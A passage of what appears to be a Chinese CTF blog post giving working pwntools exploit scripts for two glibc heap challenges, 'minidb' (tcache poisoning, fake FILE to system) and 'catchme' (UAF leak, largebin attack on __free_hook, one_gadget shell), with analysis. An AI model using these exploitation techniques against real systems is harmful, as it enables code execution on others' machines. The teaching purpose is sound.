                line.strip(),
            )
            if not m:
                continue
            rows.append((int(m.group(1), 16), int(m.group(2), 16), m.group(3)))
    return rows


def get_local_bases(io):
    maps = parse_maps(io.pid)
    heap_base = next(start for start, _, path in maps if path == "[heap]")
    libc_path = next(path for _, _, path in maps if path.endswith("libc.so.6"))
    libc_base = next(start for start, _, path in maps if path == libc_path)
    libc = ELF(libc_path, checksec=False)
    return heap_base, libc_base, libc


def send_set(io, key: bytes, value: bytes):
    io.send(b"SET " + key + b"\n")
    io.recvuntil(b"Value> ")
    io.send(value)
    sleep(0.03)
    return io.recvuntil(b"> ")


def send_cmd(io, cmd: bytes):
    io.sendline(cmd)
    return io.recvuntil(b"> ")


def sane_token(tok: bytes) -> bool:
    return all(ch not in tok for ch in (b" ", b"\n", b"\t"))


def build_fake_file(libc_base: int, libc, fake_file: int) -> bytes:
    wide = fake_file + 0x100
    wide_vtable = fake_file + 0x200
    lock = fake_file + 0x2E0
    return flat(
        {
            0x00: b"/bin/sh\x00",
            0x20: p64(0),
            0x28: p64(1),
            0x88: p64(lock),
            0xA0: p64(wide),
            0xC0: p64(0),
            0xD8: p64(libc_base + libc.sym["_IO_wfile_jumps"]),
            0x100 + 0x18: p64(0),
            0x100 + 0xE0: p64(wide_vtable),
            0x200 + 0x68: p64(libc_base + libc.sym["system"]),
        },
        filler=b"\x00",
        length=0x300,
    )


def proven_arb_alloc(io):
    heap_base, libc_base, libc = get_local_bases(io)

    # Layout for the verified sequence:
    # root @ heap+0x2a0
    # a-value(old) @ heap+0x500
    # tx0 @ heap+0x540
    # freed reusable value B @ heap+0x580
    # fake FILE chunk from the next large allocation @ heap+0x640
    b_chunk = heap_base + 0x580
    fake_chunk = heap_base + 0x640
    fake_file = fake_chunk + 0x10

    bucket_key = p64(b_chunk >> 12).split(b"\x00")[0]
    poison_target = libc_base + libc.sym["_IO_list_all"] - 0x10
    poison_key = p64(poison_target ^ (b_chunk >> 12)).split(b"\x00")[0]

    if not sane_token(bucket_key):
        raise ValueError(f"bucket key contains a delimiter byte: {bucket_key!r}")
    if not sane_token(poison_key):
        raise ValueError(f"poison key contains a delimiter byte: {poison_key!r}")

    log.info(f"heap_base   = {heap_base:#x}")
    log.info(f"libc_base   = {libc_base:#x}")
    log.info(f"B chunk     = {b_chunk:#x}")
    log.info(f"fake FILE   = {fake_file:#x}")
    log.info(f"bucket key  = {bucket_key!r}")
    log.info(f"poison key  = {poison_key!r}")

    fake_payload = build_fake_file(libc_base, libc, fake_file)

    send_set(io, b"a", b"A" * 0x28)
    send_cmd(io, b"MULTI")

    # dirty = 1 at tx->dirty when this chunk is later reused as tx metadata
    b_payload = b"B" * 0x20 + p32(1) + b"BBBB"
    send_set(io, b"a", b_payload)
    send_cmd(io, b"CLONE a " + bucket_key)
    send_set(io, b"a", b"C" * 0x28)
    send_cmd(io, b"EXEC")

    # Reuse tx0/A so that MULTI will later pick B as the transaction object.
    send_set(io, poison_key, b"P" * 0x28)
    send_cmd(io, b"MULTI")

    # 1) same-key SET on the alias frees tx=B while tx-active stays set
    # 2) next SET rewrites the freed tx chunk's fd via tx->key
    send_set(io, bucket_key, fake_payload)
    send_set(io, poison_key, b"Q" * 0x80)

    # First small SET pops B itself back out of tcache.
    send_set(io, poison_key, b"R" * 0x28)

    # Second small SET allocates at the poisoned target.
    send_set(io, poison_key, p64(fake_file))

    return {
        "heap_base": heap_base,
        "libc_base": libc_base,
        "bucket_key": bucket_key,
        "poison_key": poison_key,
        "fake_file": fake_file,
        "target": poison_target,
    }


def main():
    parser = argparse.ArgumentParser(
        description="Local exploit helper for minidb. "
    )
    parser.add_argument(
        "--mode",
        choices=["arb-alloc", "fsop-exp"],
        default="arb-alloc",
        help="arb-alloc stops after proving arbitrary 0x40 allocation; "
        "fsop-exp also sends EXIT after writing _IO_list_all.",
    )
    args = parser.parse_args()

    io = process("./pwn")
    io.recvuntil(b"> ")

    info = proven_arb_alloc(io)
    log.success(
        "arbitrary 0x40 allocation hit target "
        f"{info['target']:#x} (fake FILE @ {info['fake_file']:#x})"
    )

    if args.mode == "fsop-exp":
        io.sendline(b"EXIT")
        try:
            io.interactive()
        finally:
            io.close()
        return

    io.interactive()


if __name__ == "__main__":
    main()

catchme

题目概览

程序是一个 6 选项菜单堆题,核心函数如下:

  • adopt_creature (0xb8e):按类型分配三种大小的 chunk
    • fox: malloc(0x430)
    • hawk: malloc(0x440)
    • otter: calloc(1, 0x48)
  • release_creature (0xd78):free(ptr),但不会清空槽位
  • inspect_tag (0xe40):只允许一次,从 ptr + 8 打印字符串
  • engrave_tag (0xf4f):最多 3 次,向 ptr + 8 处读入 0x18 字节
  • purge_record (0x107d):只把槽位清零,不做 free

全局区里有 5 个槽位 shelter_slots0x202060),再配合一次性 inspect 和 3 次 engrave,可以形成很稳定的 UAF 读写。

这题的关键不是普通的 UAF double free,而是:

  1. releasepurge 拆出可复用槽位
  2. 用唯一一次 inspect 从 unsorted bin 泄露 libc
  3. 用两块不同尺寸的大 chunk 分别改 bk / fd_nextsize / bk_nextsize
  4. 借 glibc 2.27 的 bin 整理流程把写原语导到 __free_hook
  5. 最后用一次 free 触发 one_gadget
保护情况

readelf 可以看出:

  • PIE 开启
  • NX 开启
  • Full RELRO
  • 栈上存在 canary

因此思路不会走 GOT 覆写,而是转向 libc hook。

漏洞点
1. free 后槽位不清空

release_creature 只调用 free(shelter_slots[idx]),不会把 shelter_slots[idx] 置零,所以留下悬空指针。

2. purge_record 可以单独清槽

purge_record 只把 shelter_slots[idx] = 0,不会 free
于是可以做出:

  1. free
  2. purge
  3. 让这个槽位重新可用

这非常适合反复塞满 tcache。

3. UAF 读写都落在 ptr + 8
  • inspect_tag 打印 ptr + 8
  • engrave_tagptr + 80x18

对已经释放的大块 chunk 来说:

  • ptr + 0x0 对应 fd
  • ptr + 0x8 对应 bk
  • ptr + 0x10 对应 fd_nextsize
  • ptr + 0x18 对应 bk_nextsize

也就是说,虽然不能改 fd,但可以稳定改掉 bk / fd_nextsize / bk_nextsize,这正好够打 glibc 2.27 的 unsorted/largebin 组合攻击。

利用思路
第一步:填满 0x50 tcache

连续 7 次:

  1. 申请 otter
  2. 释放 index 0
  3. purge index 0

这样 0x50 大小的 tcache 会被填满,后面的小块分配行为更可控。

第二步:用一次 inspect 泄露 unsorted bin

先申请两个 fox(请求大小 0x430,chunk 大小 0x440):

  • slot0 = A
  • slot1 = B

然后:

  1. free(A)
  2. slot0inspect

inspect 实际打印的是 A + 8,对于 unsorted bin chunk 来说这里正好是 bk,能泄露 main_arena 指针。
本题对应偏移是:

libc_base = leak - 0x3ebca0
第三步:再准备两个可控的大 chunk

接着申请两个 hawk(请求大小 0x440,chunk 大小 0x450):

  • slot2 = C
  • slot3 = D

然后 free(slot2),使 unsorted 里同时存在两块不同尺寸的大 chunk:

  • A:0x440
  • C:0x450

此时我们有两份独立的 UAF 写:

  • slot2Cbk
  • slot0Abk / fd_nextsize / bk_nextsize
第四步:打 __free_hook

把两个 large chunk 的链表指针改成下面的形式:

engrave(2, p64(__free_hook - 0x18))
engrave(0, p64(__free_hook - 0x10) + p64(0) + p64(__free_hook - 0x35))

随后再申请一个 otter。
这次小块分配会触发 glibc 2.27 对 unsorted/largebin 的整理过程,最终把新的可写指针导向 __free_hook - 8

于是:

  1. adopt(3) 拿到伪造后的槽位
  2. engrave(4, p64(one_gadget)) 写中 __free_hook
  3. 再次 free 任意槽位即可触发 hook

这里利用的是 __libc_free 会先检查 __free_hook,再进入正常的 free 流程,所以即使最后一次 free 本身带有异常语义,也能先拿到控制流。

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF("./catchme", checksec=False)
libc = ELF("./libc-2.27.so", checksec=False)
context.log_level = args.LOG_LEVEL or "info"

HOST = args.HOST or "x.x.x.x"
PORT = int(args.PORT or 8888)
LOADER = args.LD or "/lib64/ld-linux-x86-64.so.2"
LIBPATH = args.LIBPATH or "."

UNSORTED_LEAK_OFF = 0x3EBCA0
ONE_GADGET_OFF = int(args.GADGET, 0) if args.GADGET else 0x4F302


def pick_token2():
    if args.TOKEN2:
        return int(args.TOKEN2, 0)
    if args.LOCAL:
        return 0x55
    return 0x56


EXPECTED_TOKEN2 = pick_token2()
MAX_TRIES = int(args.TRIES or 0)


def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    argv = [LOADER, "--library-path", LIBPATH, elf.path]
    if args.GDB:
        return gdb.debug(argv, gdbscript="continue")
    return process(argv)


def choose(io, opt):
    io.recvuntil(b">>\n")
    io.sendline(str(opt).encode())


def adopt(io, kind):
    choose(io, 1)
    io.recvuntil(b"(3)otter\n")
    io.sendline(str(kind).encode())
    msg = io.recvline().strip()
    token_line = io.recvline().strip()
    return msg, token_line


def release(io, idx):
    choose(io, 2)
    io.recvuntil(b"index:\n")
    io.sendline(str(idx).encode())


def inspect(io, idx):
    choose(io, 3)
    io.recvuntil(b"index:\n")
    io.sendline(str(idx).encode())


def engrave(io, idx, data):
    choose(io, 4)
    io.recvuntil(b"index:\n")
    io.sendline(str(idx).encode())
    io.recvuntil(b"set tag:\n")
    io.send(data)


def purge(io, idx):
    choose(io, 6)
    io.recvuntil(b"index:\n")
    io.sendline(str(idx).encode())


def parse_token2(token_line):
    return int(token_line.split(b"token(2):", 1)[1], 16)


def fill_otter_tcache(io):
    for _ in range(7):
        adopt(io, 3)
        release(io, 0)
        purge(io, 0)


def build_chain(io):
    fill_otter_tcache(io)

    adopt(io, 1)
    adopt(io, 1)
    release(io, 0)

    inspect(io, 0)
    io.recvuntil(b"tag:")
    leak = u64(io.recv(6).ljust(8, b"\x00"))
    libc.address = leak - UNSORTED_LEAK_OFF
    log.info(f"unsorted leak = {leak:#x}")
    log.info(f"libc base     = {libc.address:#x}")

    _, token_line = adopt(io, 2)
    token2 = parse_token2(token_line)
    log.info(f"token(2)      = {token2:#x}")
    if token2 != EXPECTED_TOKEN2:
        raise ValueError(f"unexpected token2: {token2:#x}")

    adopt(io, 2)
    release(io, 2)

    free_hook = libc.sym["__free_hook"]
    one_gadget = libc.address + ONE_GADGET_OFF
    log.info(f"__free_hook   = {free_hook:#x}")
    log.info(f"one_gadget    = {one_gadget:#x}")

    # Two different freed large chunks are poisoned so the next tiny
    # allocation is redirected to __free_hook-8.
    engrave(io, 2, p64(free_hook - 0x18))
    engrave(io, 0, p64(free_hook - 0x10) + p64(0) + p64(free_hook - 0x35))

    adopt(io, 3)
    engrave(io, 4, p64(one_gadget))

    # __libc_free checks __free_hook before the normal double-free path.
    release(io, 0)


def main():
    attempt = 0
    while True:
        attempt += 1
        if MAX_TRIES and attempt > MAX_TRIES:
            raise SystemExit("max tries reached")
        io = start()
        log.info(f"attempt {attempt}")
        try:
            build_chain(io)
            io.interactive()
            return
        except (EOFError, ValueError) as exc:
            log.warning(str(exc))
            io.close()


if __name__ == "__main__":
    main()
posted @ 2026-03-24 01:29  Alexander17  阅读(539)  评论(0)    收藏  举报